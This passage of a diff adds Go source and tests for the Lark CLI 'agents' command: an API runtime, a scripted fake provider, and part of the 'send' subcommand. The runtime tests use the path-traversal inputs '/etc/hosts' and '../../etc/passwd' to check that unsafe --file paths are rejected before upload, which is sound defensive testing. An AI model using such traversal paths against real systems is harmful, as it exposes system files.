||||
t.Errorf("no increment should yield no next, got %+v", next)
|
||||
}
|
||||
}
|
||||
118
cmd/agents/runtime.go
Normal file
118
cmd/agents/runtime.go
Normal file
@@ -0,0 +1,118 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
|
||||
larkcore "github.com/larksuite/oapi-sdk-go/v3/core"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
"github.com/larksuite/cli/internal/client"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/validate"
|
||||
"github.com/larksuite/cli/internal/vfs"
|
||||
)
|
||||
|
||||
// cmdRuntime is the concrete iagents.Runtime: it routes provider hook calls
|
||||
// through the shared client.APIClient under a pinned identity (mirrors event's
|
||||
// consumeRuntime in cmd/event/runtime.go). Provider code never sees the client,
|
||||
// the identity resolution, or the response-envelope unwrap — that is exactly the
|
||||
// plumbing the old Deps struct leaked.
|
||||
type cmdRuntime struct {
|
||||
client *client.APIClient
|
||||
as core.Identity
|
||||
agentID string
|
||||
params map[string]string // validated business params (defaults backfilled)
|
||||
}
|
||||
|
||||
func (r *cmdRuntime) AgentID() string { return r.agentID }
|
||||
func (r *cmdRuntime) IsBot() bool { return r.as == core.AsBot }
|
||||
|
||||
// Params returns a copy of the validated business parameters, so a hook cannot
|
||||
// corrupt framework state (see the Runtime.Params contract in internal/agent).
|
||||
func (r *cmdRuntime) Params() map[string]string {
|
||||
out := make(map[string]string, len(r.params))
|
||||
for k, v := range r.params {
|
||||
out[k] = v
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (r *cmdRuntime) CallAPI(ctx context.Context, method, path string, query map[string]string, body any) (json.RawMessage, error) {
|
||||
var params map[string]interface{}
|
||||
if len(query) > 0 {
|
||||
params = make(map[string]interface{}, len(query))
|
||||
for k, v := range query {
|
||||
params[k] = v
|
||||
}
|
||||
}
|
||||
return r.do(ctx, client.RawApiRequest{Method: method, URL: path, Params: params, Data: body, As: r.as})
|
||||
}
|
||||
|
||||
func (r *cmdRuntime) CallMultipart(ctx context.Context, method, path string, fields map[string]string, files []iagents.FilePart) (json.RawMessage, error) {
|
||||
fd := larkcore.NewFormdata()
|
||||
for k, v := range fields {
|
||||
fd.AddField(k, v)
|
||||
}
|
||||
for _, fp := range files {
|
||||
// SafeInputPath is the framework-owned security check (no path traversal /
|
||||
// outside CWD); a provider must never re-implement it.
|
||||
resolved, err := validate.SafeInputPath(fp.Path)
|
||||
if err != nil {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--file: %v", err).
|
||||
WithParam("--file").WithCause(err)
|
||||
}
|
||||
f, err := vfs.Open(resolved)
|
||||
if err != nil {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--file: 无法打开 %s: %v", fp.Path, err).
|
||||
WithParam("--file").WithCause(err)
|
||||
}
|
||||
// Closed when CallMultipart returns, i.e. after do()'s request has read the
|
||||
// body — deferring in the loop keeps every file open for the request.
|
||||
defer f.Close()
|
||||
fd.AddFile(fp.Field, f)
|
||||
}
|
||||
return r.do(ctx, client.RawApiRequest{
|
||||
Method: method, URL: path, Data: fd, As: r.as,
|
||||
ExtraOpts: []larkcore.RequestOptionFunc{larkcore.WithFileUpload()},
|
||||
})
|
||||
}
|
||||
|
||||
// do is the shared DoAPI → ParseJSONResponse → CheckResponse → unwrap-"data"
|
||||
// path. It returns the "data" sub-object as raw JSON (the typed Call[T]/
|
||||
// CallUpload[T] helpers decode it). Identity is sealed in r.as and never handed
|
||||
// out; any non-typed transport error is classified here so hooks only ever see
|
||||
// typed errs.* values.
|
||||
func (r *cmdRuntime) do(ctx context.Context, req client.RawApiRequest) (json.RawMessage, error) {
|
||||
resp, err := r.client.DoAPI(ctx, req)
|
||||
if err != nil {
|
||||
if _, ok := errs.ProblemOf(err); ok {
|
||||
return nil, err
|
||||
}
|
||||
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "api %s %s: %s", req.Method, req.URL, err).WithCause(err)
|
||||
}
|
||||
result, err := client.ParseJSONResponse(resp)
|
||||
if err != nil {
|
||||
if _, ok := errs.ProblemOf(err); ok {
|
||||
return nil, err
|
||||
}
|
||||
return nil, errs.NewInternalError(errs.SubtypeInvalidResponse, "api %s %s: %s", req.Method, req.URL, err).WithCause(err)
|
||||
}
|
||||
if apiErr := r.client.CheckResponse(result, r.as); apiErr != nil {
|
||||
return nil, apiErr
|
||||
}
|
||||
top, _ := result.(map[string]interface{})
|
||||
dataVal, ok := top["data"]
|
||||
if !ok || dataVal == nil {
|
||||
return nil, nil // no "data" (e.g. a pure write) — callers get the zero value
|
||||
}
|
||||
raw, err := json.Marshal(dataVal)
|
||||
if err != nil {
|
||||
return nil, errs.NewInternalError(errs.SubtypeInvalidResponse, "api %s %s: re-encode data: %s", req.Method, req.URL, err).WithCause(err)
|
||||
}
|
||||
return raw, nil
|
||||
}
|
||||
207
cmd/agents/runtime_test.go
Normal file
207
cmd/agents/runtime_test.go
Normal file
@@ -0,0 +1,207 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
lark "github.com/larksuite/oapi-sdk-go/v3"
|
||||
larkcore "github.com/larksuite/oapi-sdk-go/v3/core"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
"github.com/larksuite/cli/internal/client"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/credential"
|
||||
)
|
||||
|
||||
// staticTokenResolver always returns a fixed token without any HTTP call.
|
||||
type staticTokenResolver struct{}
|
||||
|
||||
func (s *staticTokenResolver) ResolveToken(_ context.Context, _ credential.TokenSpec) (*credential.TokenResult, error) {
|
||||
return &credential.TokenResult{Token: "test-token"}, nil
|
||||
}
|
||||
|
||||
// stubRoundTripper intercepts every outgoing request with a canned response.
|
||||
type stubRoundTripper struct {
|
||||
respond func(*http.Request) (*http.Response, error)
|
||||
}
|
||||
|
||||
func (s stubRoundTripper) RoundTrip(r *http.Request) (*http.Response, error) { return s.respond(r) }
|
||||
|
||||
// newTestCmdRuntime builds a cmdRuntime whose client routes every request through
|
||||
// rt (mirrors cmd/event/runtime_test.go's consumeRuntime harness). Identity is
|
||||
// pinned to as; agentID is fixed.
|
||||
func newTestCmdRuntime(rt http.RoundTripper, as core.Identity, agentID string) *cmdRuntime {
|
||||
sdk := lark.NewClient("test-app", "test-secret",
|
||||
lark.WithEnableTokenCache(false),
|
||||
lark.WithLogLevel(larkcore.LogLevelError),
|
||||
lark.WithHttpClient(&http.Client{Transport: rt}),
|
||||
)
|
||||
return &cmdRuntime{
|
||||
client: &client.APIClient{
|
||||
SDK: sdk,
|
||||
ErrOut: io.Discard,
|
||||
Credential: credential.NewCredentialProvider(nil, nil, &staticTokenResolver{}, nil),
|
||||
Config: &core.CliConfig{AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu},
|
||||
},
|
||||
as: as,
|
||||
agentID: agentID,
|
||||
}
|
||||
}
|
||||
|
||||
func jsonResponse(status int, body string) func(*http.Request) (*http.Response, error) {
|
||||
return func(r *http.Request) (*http.Response, error) {
|
||||
return &http.Response{
|
||||
StatusCode: status,
|
||||
Header: http.Header{"Content-Type": []string{"application/json"}},
|
||||
Body: io.NopCloser(strings.NewReader(body)),
|
||||
Request: r,
|
||||
}, nil
|
||||
}
|
||||
}
|
||||
|
||||
// TestCmdRuntime_IdentityAndAgentID pins invariant #4: the resolved identity is
|
||||
// surfaced only via IsBot() (never the raw client), and AgentID echoes the
|
||||
// addressed agent.
|
||||
func TestCmdRuntime_IdentityAndAgentID(t *testing.T) {
|
||||
bot := newTestCmdRuntime(stubRoundTripper{}, core.AsBot, "agt_1")
|
||||
if !bot.IsBot() {
|
||||
t.Error("bot runtime should report IsBot()=true")
|
||||
}
|
||||
if bot.AgentID() != "agt_1" {
|
||||
t.Errorf("AgentID should be agt_1, got %q", bot.AgentID())
|
||||
}
|
||||
usr := newTestCmdRuntime(stubRoundTripper{}, core.AsUser, "agt_2")
|
||||
if usr.IsBot() {
|
||||
t.Error("user runtime should report IsBot()=false")
|
||||
}
|
||||
}
|
||||
|
||||
// TestCmdRuntime_CallAPI_UnwrapsData pins do(): a 200 OAPI envelope with code=0
|
||||
// returns the raw "data" object (not the whole envelope), and the typed Call[T]
|
||||
// helper decodes that raw data into a struct.
|
||||
func TestCmdRuntime_CallAPI_UnwrapsData(t *testing.T) {
|
||||
rt := stubRoundTripper{respond: jsonResponse(200, `{"code":0,"msg":"ok","data":{"task_id":"t1","state":"completed"}}`)}
|
||||
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
|
||||
|
||||
raw, err := r.CallAPI(context.Background(), "GET", "/open-apis/example/v1/tasks/t1", nil, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("CallAPI should succeed: %v", err)
|
||||
}
|
||||
var data map[string]any
|
||||
if err := json.Unmarshal(raw, &data); err != nil {
|
||||
t.Fatalf("CallAPI should return the raw data object as valid JSON: %v", err)
|
||||
}
|
||||
if data["task_id"] != "t1" || data["state"] != "completed" {
|
||||
t.Errorf("CallAPI should return the unwrapped data object, got %+v", data)
|
||||
}
|
||||
|
||||
// The typed Call[T] helper decodes that same raw data into a struct — no
|
||||
// map[string]any assertions at the call site.
|
||||
got, err := iagents.Call[struct {
|
||||
TaskID string `json:"task_id"`
|
||||
State string `json:"state"`
|
||||
}](context.Background(), r, "GET", "/open-apis/example/v1/tasks/t1", nil, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("Call[T] should succeed: %v", err)
|
||||
}
|
||||
if got.TaskID != "t1" || got.State != "completed" {
|
||||
t.Errorf("Call[T] should decode data into the struct, got %+v", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestCmdRuntime_CallAPI_APIError pins that a non-zero code becomes a typed error
|
||||
// (CheckResponse), not a silent success.
|
||||
func TestCmdRuntime_CallAPI_APIError(t *testing.T) {
|
||||
rt := stubRoundTripper{respond: jsonResponse(200, `{"code":1254043,"msg":"task not found"}`)}
|
||||
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
|
||||
|
||||
if _, err := r.CallAPI(context.Background(), "GET", "/open-apis/example/v1/tasks/nope", nil, nil); err == nil {
|
||||
t.Fatal("a non-zero API code should surface as an error")
|
||||
} else if _, ok := errs.ProblemOf(err); !ok {
|
||||
t.Fatalf("API error should be a typed errs error, got %T: %v", err, err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestCmdRuntime_CallAPI_TransportError pins the transport-error branch: a
|
||||
// RoundTrip failure is classified as a network transport error.
|
||||
func TestCmdRuntime_CallAPI_TransportError(t *testing.T) {
|
||||
rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
|
||||
return nil, errors.New("dial refused")
|
||||
}}
|
||||
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
|
||||
|
||||
_, err := r.CallAPI(context.Background(), "POST", "/open-apis/example/v1/messages", nil, map[string]any{"text": "hi"})
|
||||
if err == nil {
|
||||
t.Fatal("a transport error should propagate")
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Category != errs.CategoryNetwork {
|
||||
t.Fatalf("transport error should be a network error, got %+v", p)
|
||||
}
|
||||
}
|
||||
|
||||
// TestCmdRuntime_CallMultipart_RejectsUnsafePath pins invariant #5: CallMultipart
|
||||
// SafeInputPath-validates every --file BEFORE opening it, so an absolute /
|
||||
// traversal path is rejected as invalid_argument (param --file) and NO request
|
||||
// is issued (the transport panics if reached).
|
||||
func TestCmdRuntime_CallMultipart_RejectsUnsafePath(t *testing.T) {
|
||||
rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
|
||||
t.Fatal("no request should be issued when the --file path is unsafe")
|
||||
return nil, nil
|
||||
}}
|
||||
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
|
||||
|
||||
for _, bad := range []string{"/etc/hosts", "../../etc/passwd"} {
|
||||
_, err := r.CallMultipart(context.Background(), "POST", "/open-apis/example/v1/attachments",
|
||||
map[string]string{"type": "file"},
|
||||
[]iagents.FilePart{{Field: "file", Path: bad}})
|
||||
if err == nil {
|
||||
t.Fatalf("an unsafe --file path %q should be rejected", bad)
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("unsafe path %q should be a validation error, got %T: %v", bad, err, err)
|
||||
}
|
||||
var ve *errs.ValidationError
|
||||
if !errors.As(err, &ve) || ve.Param != "--file" {
|
||||
t.Errorf("unsafe path %q should carry param --file, got %+v", bad, ve)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestCmdRuntime_CallUpload_PropagatesError pins the typed CallUpload[T] helper
|
||||
// (the multipart counterpart of Call[T]): when CallMultipart rejects an unsafe
|
||||
// --file path, CallUpload propagates that validation error and returns the zero
|
||||
// value of T without attempting a decode. Mirrors the Call[T] coverage in
|
||||
// TestCmdRuntime_CallAPI_UnwrapsData so both typed entry points a provider uses
|
||||
// are exercised, not just the JSON one.
|
||||
func TestCmdRuntime_CallUpload_PropagatesError(t *testing.T) {
|
||||
rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
|
||||
t.Fatal("no request should be issued when the --file path is unsafe")
|
||||
return nil, nil
|
||||
}}
|
||||
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
|
||||
|
||||
got, err := iagents.CallUpload[struct {
|
||||
AttachmentID string `json:"attachment_id"`
|
||||
}](context.Background(), r, "POST", "/open-apis/example/v1/attachments",
|
||||
map[string]string{"type": "file"},
|
||||
[]iagents.FilePart{{Field: "file", Path: "/etc/hosts"}})
|
||||
if err == nil {
|
||||
t.Fatal("CallUpload with an unsafe --file path should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("CallUpload should propagate the validation error, got %T: %v", err, err)
|
||||
}
|
||||
if got.AttachmentID != "" {
|
||||
t.Errorf("CallUpload should return the zero value of T on error, got %+v", got)
|
||||
}
|
||||
}
|
||||
170
cmd/agents/scripted_provider_test.go
Normal file
170
cmd/agents/scripted_provider_test.go
Normal file
@@ -0,0 +1,170 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"context"
|
||||
"sync"
|
||||
"testing"
|
||||
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
)
|
||||
|
||||
// scriptedHooks scripts a fake provider's behavior per test. Each hook maps to
|
||||
// one AgentSpec verb; an unset hook that gets called panics — a tripwire against
|
||||
// a test reaching an unexpected provider path. The command-layer contracts under
|
||||
// test (envelope shape, watch exit codes, meta.next, pretty rendering, error
|
||||
// propagation) are provider-neutral, so the scripted hooks ignore the Runtime.
|
||||
type scriptedHooks struct {
|
||||
send func(in iagents.SendInput) (*iagents.AgentTask, error)
|
||||
getTask func(taskID string) (*iagents.AgentTask, error)
|
||||
listTasks func(contextID string, page iagents.PageParams) ([]iagents.TaskSummary, iagents.PageInfo, error)
|
||||
listContexts func(page iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error)
|
||||
getContext func(ctxID string) (*iagents.ContextDetail, error)
|
||||
deleteContext func(ctxID string) error
|
||||
cancelTask func(taskID string) error
|
||||
downloadArtifact func(taskID, artifactID string) (*iagents.ArtifactData, error)
|
||||
}
|
||||
|
||||
// scripted is the package-level hook set shared by every scripted instance (the
|
||||
// registered provider is fixed per package run, the hooks can be re-pointed).
|
||||
var scripted scriptedHooks
|
||||
|
||||
// setScripted installs the hooks for one test and restores the empty (panic
|
||||
// tripwire) set on cleanup.
|
||||
func setScripted(t *testing.T, h scriptedHooks) {
|
||||
t.Helper()
|
||||
scripted = h
|
||||
t.Cleanup(func() { scripted = scriptedHooks{} })
|
||||
}
|
||||
|
||||
// scriptedSpec is the instance template whose capability surface is fixed by
|
||||
// which hooks are wired: everything the command tests drive is wired (the
|
||||
// task_cancel unsupported gate is exercised via example:echo, whose spec leaves
|
||||
// it unwired), FileInput=true so the --file gate/confirm path is reachable, and
|
||||
// InputRequired=true so the --answer capability gate passes (Register requires
|
||||
// a question-asking spec to wire CancelTask, hence the cancel hook). Each wired
|
||||
// hook delegates to the per-test hook and panics if it was not set.
|
||||
func scriptedSpec() *iagents.AgentSpec {
|
||||
return &iagents.AgentSpec{
|
||||
FileInput: true,
|
||||
InputRequired: true,
|
||||
CancelTask: iagents.TaskCancelOp{Handler: func(_ context.Context, _ iagents.Runtime, taskID string) error {
|
||||
if scripted.cancelTask == nil {
|
||||
panic("scripted provider: CancelTask hook not set")
|
||||
}
|
||||
return scripted.cancelTask(taskID)
|
||||
}},
|
||||
Send: iagents.SendOp{Handler: func(_ context.Context, _ iagents.Runtime, in iagents.SendInput) (*iagents.AgentTask, error) {
|
||||
if scripted.send == nil {
|
||||
panic("scripted provider: Send hook not set")
|
||||
}
|
||||
return scripted.send(in)
|
||||
}},
|
||||
GetTask: iagents.TaskGetOp{Handler: func(_ context.Context, _ iagents.Runtime, taskID string) (*iagents.AgentTask, error) {
|
||||
if scripted.getTask == nil {
|
||||
panic("scripted provider: GetTask hook not set")
|
||||
}
|
||||
return scripted.getTask(taskID)
|
||||
}},
|
||||
ListTasks: iagents.TaskListOp{Handler: func(_ context.Context, _ iagents.Runtime, contextID string, page iagents.PageParams) ([]iagents.TaskSummary, iagents.PageInfo, error) {
|
||||
if scripted.listTasks == nil {
|
||||
panic("scripted provider: ListTasks hook not set")
|
||||
}
|
||||
return scripted.listTasks(contextID, page)
|
||||
}},
|
||||
ListContexts: iagents.ContextListOp{Handler: func(_ context.Context, _ iagents.Runtime, page iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
|
||||
if scripted.listContexts == nil {
|
||||
panic("scripted provider: ListContexts hook not set")
|
||||
}
|
||||
return scripted.listContexts(page)
|
||||
}},
|
||||
GetContext: iagents.ContextGetOp{Handler: func(_ context.Context, _ iagents.Runtime, ctxID string) (*iagents.ContextDetail, error) {
|
||||
if scripted.getContext == nil {
|
||||
panic("scripted provider: GetContext hook not set")
|
||||
}
|
||||
return scripted.getContext(ctxID)
|
||||
}},
|
||||
DeleteContext: iagents.ContextDeleteOp{Handler: func(_ context.Context, _ iagents.Runtime, ctxID string) error {
|
||||
if scripted.deleteContext == nil {
|
||||
panic("scripted provider: DeleteContext hook not set")
|
||||
}
|
||||
return scripted.deleteContext(ctxID)
|
||||
}},
|
||||
DownloadArtifact: iagents.ArtifactDownloadOp{Handler: func(_ context.Context, _ iagents.Runtime, taskID, artifactID string) (*iagents.ArtifactData, error) {
|
||||
if scripted.downloadArtifact == nil {
|
||||
panic("scripted provider: DownloadArtifact hook not set")
|
||||
}
|
||||
return scripted.downloadArtifact(taskID, artifactID)
|
||||
}},
|
||||
}
|
||||
}
|
||||
|
||||
// fakescopedAllScopes is the full RequiredScopes set of the fakescoped test
|
||||
// provider, sorted — the all-or-nothing preflight requires every one for any
|
||||
// real API verb.
|
||||
var fakescopedAllScopes = []string{
|
||||
"fakescoped:agent_artifact:read",
|
||||
"fakescoped:agent_attachment:write",
|
||||
"fakescoped:agent_chat:read",
|
||||
"fakescoped:agent_chat:write",
|
||||
}
|
||||
|
||||
// fakeflowAgentIDSource is the AgentIDSource text of the fakeflow provider —
|
||||
// the non-enumerable `agents list <scheme>` error surfaces it as the hint.
|
||||
const fakeflowAgentIDSource = "在 fakeflow 测试控制台获取 agent_id(形如 agt_xxx)"
|
||||
|
||||
// minimalSpec is the least-capable legal instance template: only the two core
|
||||
// verbs are wired (with tripwire handlers — these tests never reach them), so
|
||||
// every optional verb is honestly unsupported. It is the vehicle for
|
||||
// unwired-verb shape/ordering tests now that scriptedSpec wires everything.
|
||||
func minimalSpec() *iagents.AgentSpec {
|
||||
return &iagents.AgentSpec{
|
||||
Send: iagents.SendOp{Handler: func(_ context.Context, _ iagents.Runtime, _ iagents.SendInput) (*iagents.AgentTask, error) {
|
||||
panic("fakemin provider: not callable")
|
||||
}},
|
||||
GetTask: iagents.TaskGetOp{Handler: func(_ context.Context, _ iagents.Runtime, _ string) (*iagents.AgentTask, error) {
|
||||
panic("fakemin provider: not callable")
|
||||
}},
|
||||
}
|
||||
}
|
||||
|
||||
// registerScripted registers the scripted schemes exactly once (Register panics
|
||||
// on duplicates). All are instance-type (agent_id is arbitrary), and not
|
||||
// enumerable (no ListAgents hook). They leak into the package-level registry for
|
||||
// the rest of this package run — so no test may assert an exact provider set.
|
||||
//
|
||||
// - fakeflow: no RequiredScopes (preflight always passes) — the workhorse.
|
||||
// - fakescoped: a 4-scope RequiredScopes set, for the scope-preflight tests.
|
||||
// - fakemin: the same 4-scope set on the minimal spec — the vehicle for
|
||||
// unwired-verb gating (its capability gate must answer before preflight).
|
||||
var registerScriptedOnce sync.Once
|
||||
|
||||
func registerScripted() {
|
||||
registerScriptedOnce.Do(func() {
|
||||
iagents.Register(iagents.Provider{
|
||||
Scheme: "fakeflow",
|
||||
Label: "test fake (scripted flow)",
|
||||
AgentIDSource: fakeflowAgentIDSource,
|
||||
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
|
||||
Instance: scriptedSpec(),
|
||||
})
|
||||
iagents.Register(iagents.Provider{
|
||||
Scheme: "fakescoped",
|
||||
Label: "test fake (scoped)",
|
||||
AgentIDSource: "test only",
|
||||
RequiredScopes: fakescopedAllScopes,
|
||||
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
|
||||
Instance: scriptedSpec(),
|
||||
})
|
||||
iagents.Register(iagents.Provider{
|
||||
Scheme: "fakemin",
|
||||
Label: "test fake (minimal caps)",
|
||||
AgentIDSource: "test only",
|
||||
RequiredScopes: fakescopedAllScopes,
|
||||
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
|
||||
Instance: minimalSpec(),
|
||||
})
|
||||
})
|
||||
}
|
||||
597
cmd/agents/send.go
Normal file
597
cmd/agents/send.go
Normal file
@@ -0,0 +1,597 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
"github.com/larksuite/cli/internal/validate"
|
||||
)
|
||||
|
||||
// sendOptions holds all inputs for `agents send <ref>`.
|
||||
type sendOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
Cmd *cobra.Command
|
||||
Ref string
|
||||
Text string
|
||||
Files []string
|
||||
Params []string
|
||||
ContextID string
|
||||
TaskID string
|
||||
Answers []string // raw --answer key=value entries, argv order
|
||||
DryRun bool
|
||||
Yes bool
|
||||
As string
|
||||
Format string
|
||||
}
|
||||
|
||||
// NewCmdAgentSend builds `agents send <agent_ref>`: send a message to a remote
|
||||
// agent, starting a new task or continuing an existing one. `--dry-run`
|
||||
// validates the inputs against the agent Card and prints the request preview
|
||||
// without any API call (always available). A send fires and returns the
|
||||
// current task immediately; poll progress with
|
||||
// `agents task get <agent_ref> <task-id> --watch` (surfaced via meta.next).
|
||||
// `--file` uploads local files to the remote agent — the content leaves this
|
||||
// machine. Risk=write. runF, when non-nil, replaces the production run path
|
||||
// (test seam).
|
||||
func NewCmdAgentSend(f *cmdutil.Factory, runF func(*sendOptions) error) *cobra.Command {
|
||||
opts := &sendOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "send <agent_ref>",
|
||||
Short: "Send a message to a remote agent (start a new task or continue an existing one)",
|
||||
Long: "Send one message to the remote agent addressed by agent_ref. Without --context-id/--task-id it starts a new task; " +
|
||||
"with --context-id (optionally --task-id) it continues the same multi-turn context; with --answer it answers the task's pending input_required question group. " +
|
||||
"--dry-run only validates locally and prints the request preview without calling the API. A send fires and returns the current task immediately; " +
|
||||
"poll progress with agents task get <agent_ref> <task-id> --watch (see meta.next).",
|
||||
Args: exactArgsWithUsage(1),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
if runF != nil {
|
||||
return runF(opts)
|
||||
}
|
||||
return agentSendRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.Text, "text", "", "消息的自由文本部分:起任务/续聊的正文,或随 --answer 的整体附言(--text 永远不是某道题的答案)")
|
||||
cmd.Flags().StringArrayVar(&opts.Files, "file", nil, "随消息外发的本地文件路径,可重复;文件会被上传到远端 provider(内容离开本机)")
|
||||
addParamFlag(cmd, &opts.Params)
|
||||
cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "多轮上下文 id(续发同一会话)")
|
||||
cmd.Flags().StringVar(&opts.TaskID, "task-id", "", "向已有任务续发(须与 --context-id 一起用)")
|
||||
cmd.Flags().StringArrayVar(&opts.Answers, "answer", nil, "回答 input_required 问题组,可重复:给选项键用 <question_id>=<option_id>(多选重复同 key),给文字用 <question_id>.text=<文本>;须与 --context-id/--task-id 一起用")
|
||||
cmd.Flags().BoolVar(&opts.DryRun, "dry-run", false, "只做本地校验并打印请求预览,不调用 API")
|
||||
cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认用 --file 把本地文件外发上传到远端(不加则 exit 10,不上传)")
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
if f != nil {
|
||||
cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
|
||||
} else {
|
||||
// f is nil only in construction-time unit tests; register a bare --as so
|
||||
// the flag surface is still assertable without a Factory.
|
||||
cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
|
||||
}
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// sendMode is send's semantic mode, derived from the flags by a fixed priority
|
||||
// (the user never passes a mode). The discriminator formalizes what the guards
|
||||
// enforce: answer needs the pending group's task+context and takes --answer
|
||||
// entries (with --text as an optional message-level remark); continue/start
|
||||
// need --text.
|
||||
type sendMode string
|
||||
|
||||
const (
|
||||
modeStart sendMode = "start" // no context/task/answers — a fresh task
|
||||
modeContinue sendMode = "continue" // has context (optionally task) — same conversation
|
||||
modeAnswer sendMode = "answer" // has --answer entries — input_required group reply
|
||||
)
|
||||
|
||||
// answerKeyPattern is the offline --answer key grammar: a KeyPattern-conforming
|
||||
// question id plus at most one case-sensitive ".text" suffix. Anything else —
|
||||
// ".txt", ".TEXT", a bare ".text", two dots, a '-'-leading flag-lookalike — is
|
||||
// rejected before any network access, because the only two legal key shapes are
|
||||
// <qid> and <qid>.text and a near-miss silently becoming an unknown question_id
|
||||
// at the provider would send the AI down the wrong recovery branch.
|
||||
var answerKeyPattern = regexp.MustCompile(`^` + iagents.KeyCharsetRE + `(\.text)?$`)
|
||||
|
||||
// parseAnswers parses the raw --answer key=value entries into the §10.1 map
|
||||
// encoding (values in argv order), running every offline guard in one
|
||||
// collect-all pass so a multi-error submission is fixed in one round-trip:
|
||||
// key=value shape, key grammar, non-empty value, no duplicate .text entry per
|
||||
// question. Exact duplicate bare values are deduplicated (an AI retry glitch is
|
||||
// idempotent, not an error). Semantic validation (does the qid exist, is the
|
||||
// value a legal option) is deliberately NOT here — the CLI is stateless and
|
||||
// does not hold the question group; that is the provider's policy (§6.3).
|
||||
func parseAnswers(raw []string) (map[string][]string, error) {
|
||||
answers := make(map[string][]string, len(raw))
|
||||
var viols []string
|
||||
for _, entry := range raw {
|
||||
key, value, ok := strings.Cut(entry, "=")
|
||||
if !ok {
|
||||
viols = append(viols, fmt.Sprintf("%s(非 key=value 形)", entry))
|
||||
continue
|
||||
}
|
||||
if !answerKeyPattern.MatchString(key) {
|
||||
viols = append(viols, fmt.Sprintf("%s(key 非法:合法形态只有 <question_id> 与 <question_id>.text)", key))
|
||||
continue
|
||||
}
|
||||
if value == "" {
|
||||
viols = append(viols, fmt.Sprintf("%s(空答案无意义:选项题给 option_id、文字给非空文本;不想答的题不要带这个 key)", key))
|
||||
continue
|
||||
}
|
||||
if _, isText := iagents.SplitAnswerKey(key); isText && len(answers[key]) > 0 {
|
||||
viols = append(viols, fmt.Sprintf("%s(同一题的 .text 只能出现一次,文本不累积)", key))
|
||||
continue
|
||||
}
|
||||
dup := false
|
||||
for _, v := range answers[key] {
|
||||
if v == value {
|
||||
dup = true // exact duplicate → dedupe silently
|
||||
break
|
||||
}
|
||||
}
|
||||
if !dup {
|
||||
answers[key] = append(answers[key], value)
|
||||
}
|
||||
}
|
||||
if len(viols) > 0 {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"非法的 --answer: %s", strings.Join(viols, ";")).
